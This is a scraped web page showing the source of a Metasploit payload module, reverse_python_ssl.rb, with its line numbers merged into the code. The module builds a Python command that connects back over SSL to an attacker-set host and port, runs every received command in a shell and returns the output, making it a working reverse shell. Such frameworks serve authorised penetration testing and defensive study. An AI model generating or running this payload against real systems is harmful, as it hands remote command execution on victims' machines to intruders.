Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb
Views: 11777
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456module MetasploitModule78CachedSize = :dynamic910include Msf::Payload::Single11include Msf::Payload::Python12include Msf::Sessions::CommandShellOptions1314def initialize(info = {})15super(merge_info(info,16'Name' => 'Unix Command Shell, Reverse TCP SSL (via python)',17'Description' => 'Creates an interactive shell via python, uses SSL, encodes with base64 by design.',18'Author' => 'RageLtMan <rageltman[at]sempervictus>',19'License' => BSD_LICENSE,20'Platform' => 'unix',21'Arch' => ARCH_CMD,22'Handler' => Msf::Handler::ReverseTcpSsl,23'Session' => Msf::Sessions::CommandShell,24'PayloadType' => 'cmd',25'RequiredCmd' => 'python',26'Payload' =>27{28'Offsets' => { },29'Payload' => ''30}31))32register_advanced_options(33[34OptString.new('PythonPath', [true, 'The path to the Python executable', 'python'])35]36)37end3839#40# Constructs the payload41#42def generate(_opts = {})43vprint_good(command_string)44return super + command_string45end4647#48# Returns the command string to use for execution49#50def command_string51cmd = ''52dead = Rex::Text.rand_text_alpha(2)53# Set up the socket54cmd += "import socket,subprocess,os,ssl\n"55cmd += "so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n"56cmd += "so.connect(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n"57cmd += "s=ssl.wrap_socket(so)\n"58# The actual IO59cmd += "#{dead}=False\n"60cmd += "while not #{dead}:\n"61cmd += "\tdata=s.recv(1024)\n"62cmd += "\tif len(data)==0:\n\t\t#{dead} = True\n"63cmd += "\tproc=subprocess.Popen(data.decode('utf-8'),shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)\n"64cmd += "\tstdout_value=proc.stdout.read() + proc.stderr.read()\n"65cmd += "\ts.send(stdout_value)\n"66"#{datastore['PythonPath']} -c \"#{ py_create_exec_stub(cmd) }\""67end68end697071